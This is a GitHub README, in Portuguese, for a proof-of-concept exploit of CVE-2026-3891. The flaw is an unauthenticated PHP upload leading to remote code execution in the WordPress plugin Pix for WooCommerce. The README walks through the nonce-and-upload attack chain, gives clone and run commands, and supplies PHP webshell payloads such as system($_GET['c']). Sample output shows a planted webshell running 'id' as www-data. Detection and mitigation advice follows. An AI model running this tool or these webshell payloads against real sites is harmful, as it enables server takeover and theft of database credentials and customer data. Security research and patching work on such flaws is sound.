
PoC for CVE-2026-3891 – Unauthenticated File Upload RCE in Pix for WooCommerce ≤ 1.5.0. Automated nonce retrieval, PHP upload, and command execution.
Exploit de Prova-de-Conceito para CVE-2026-3891 – upload arbitrário de arquivo não autenticado que leva à execução remota de código no plugin Pix for WooCommerce do WordPress (≤ 1.5.0).
CVE-2026-3891 é uma vulnerabilidade crítica no plugin Pix for WooCommerce, que afeta todas as versões até 1.5.0. O plugin não aplica verificações adequadas de autorização e tipo de arquivo no seu handler AJAX lkn_pix_for_woocommerce_c6_save_settings. Um atacante não autenticado pode abusar dessa falha para enviar arquivos PHP arbitrários para um diretório publicamente acessível e obter execução remota de código no servidor WordPress subjacente.
Este repositório contém um PoC de nível de produção que automatiza toda a cadeia de ataque – desde a obtenção de um nonce válido até o upload de um webshell – com tratamento robusto de erros e uma interface de linha de comando elegante.
certificate_crt_path esperado pelo handler vulnerável.--check).[ * ], [ + ], [ - ], [ ! ] para leitura imediata.A causa raiz está em duas ações AJAX registradas pelo plugin:
lkn_pix_for_woocommerce_generate_nonceadd_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_generate_nonce', ...);
Esta ação está conectada ao hook wp_ajax_nopriv_*, tornando-a acessível a visitantes não autenticados. Ela gera um nonce para a ação lkn_pix_for_woocommerce_c6_settings_nonce e o retorna em um envelope JSON:
{"success":true,"data":{"nonce":"abc123..."}}
Nenhuma verificação de capacidade ou autenticação de usuário é realizada – qualquer pessoa pode solicitar um nonce válido.
lkn_pix_for_woocommerce_c6_save_settingsadd_action('wp_ajax_lkn_pix_for_woocommerce_c6_save_settings', ...);
Este handler salva as configurações do plugin, incluindo um campo de upload de arquivo chamado certificate_crt_path. Embora o upload ocorra através do helper media_handle_upload do WordPress, o plugin não:
current_user_can)..php).wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/
Como o nonce protege apenas contra CSRF e pode ser obtido por qualquer pessoa, um atacante pode encadear essas duas ações para enviar e executar código PHP arbitrário.
www-data ou apache).wp-config.php, credenciais do banco de dados, dados de clientes.requests (instale via pip install requests).git clone https://github.com/Ch4120N/CVE-2026-3891.git
cd CVE-2026-3891
pip install -r requirements.txt # requests
python CVE-2026-3891.py http://target.com/wordpress
Para mais controle, use as opções de linha de comando:
python CVE-2026-3891.py https://example.com \
-f shell.php \
-p '<?php system($_GET["c"]); ?>' \
--check \
--timeout 20
___ _ _ ____ ___ ___ ___ _ ___ ___ ___ __
/ __)( \/ )( ___)___(__ \ / _ \(__ \ / ) ___(__ )( _ )/ _ \/ )
( (__ \ / )__)(___)/ _/( (_) )/ _/ / _ \(___)(_ \/ _ \\_ / )(
\___) \/ (____) (____)\___/(____)\___/ (___/\___/ (_/ (__)
[CVE-2026-3891]
Pix for WooCommerce Unauthenticated File Upload
Owner: Ch4120N
[ * ] Warming up session (fetching homepage)...
[ * ] Homepage status: 200
[ * ] Requesting nonce (attempt 1/2)...
[ * ] Response status: 200
[ + ] Nonce obtained: 7e8f9a0b1c
[ * ] Uploading payload as woocommerce.php...
[ * ] Upload response status: 200
[ + ] Payload delivered to server.
[ * ] Verifying uploaded file at: http://192.168.56.102/wp-content/plugins/.../certs_c6/woocommerce.php
[ + ] File is accessible (HTTP 200).
[ + ] Webshell URL: http://192.168.56.102/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/woocommerce.php
# Optional check:
[ * ] Checking shell with command: id
[ + ] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
http://target/wp-admin/admin-ajax.phplkn_pix_for_woocommerce_generate_nonceaction_name=lkn_pix_for_woocommerce_c6_settings_nonce{"success":true,"data":{"nonce":"..."}}wp_ajax_nopriv_*. Nenhum cookie ou sessão é necessário.admin-ajax.phplkn_pix_for_woocommerce_c6_save_settings_ajax_nonce – o nonce obtido anteriormentecertificate_crt_path – um upload de arquivo multipart (o payload).php são aceitos e armazenados sem renomeação.Após o upload bem-sucedido, o arquivo fica em:
/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/<filename>
Este diretório é diretamente acessível via web; os arquivos PHP serão executados se o servidor web estiver configurado para processá-los (o que é o padrão para servidores gerenciados pelo WordPress).
certs_c6 (especialmente arquivos como woocommerce.php, shell.php, etc.).admin-ajax.php com as ações listadas acima, originadas de IPs não confiáveis..../certs_c6/ com parâmetros de consulta como ?cmd=id.Monitore os logs do seu WordPress em busca de:
/wp-admin/admin-ajax.php com action=lkn_pix_for_woocommerce_generate_nonce e action=lkn_pix_for_woocommerce_c6_save_settings.certs_c6. Use uma ferramenta de monitoramento de integridade de arquivos (ex.: Tripwire, OSSEC) para alertar sobre alterações.certs_c6 (ex.: usando .htaccess com php_flag engine off).current_user_can('manage_options') para a geração do nonce, e uma verificação adequada de nonce além da verificação de capacidade para o upload).Este projeto está licenciado sob a Licença MIT – consulte o arquivo LICENSE para obter detalhes.
Aviso legal: Esta ferramenta destina-se apenas a testes de segurança autorizados e uso educacional. O autor não é responsável por qualquer uso indevido ou dano causado por este software.
Se você achar este PoC útil, considere dar uma ⭐ no GitHub e compartilhá-lo de forma responsável. Contribuições, issues e pull requests são bem-vindos!
Bons hacks! 🛡️
| Flag | Descrição | Padrão |
|---|
target (posicional) | URL base do site WordPress. | Obrigatório |
-f, --filename | Nome do arquivo PHP enviado. | woocommerce.php |
-p, --payload | Código PHP a ser enviado. | <?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);} ?> |
-t, --timeout | Timeout da solicitação em segundos. | 15 |
-r, --retries | Máximo de tentativas para obter o nonce. | 2 |
--no-banner | Suprime o ASCII art. | (desativado) |
--no-verify | Ignora a verificação de acessibilidade após o upload. | (desativado) |
--check | Executa id no webshell após o upload. | (desativado) |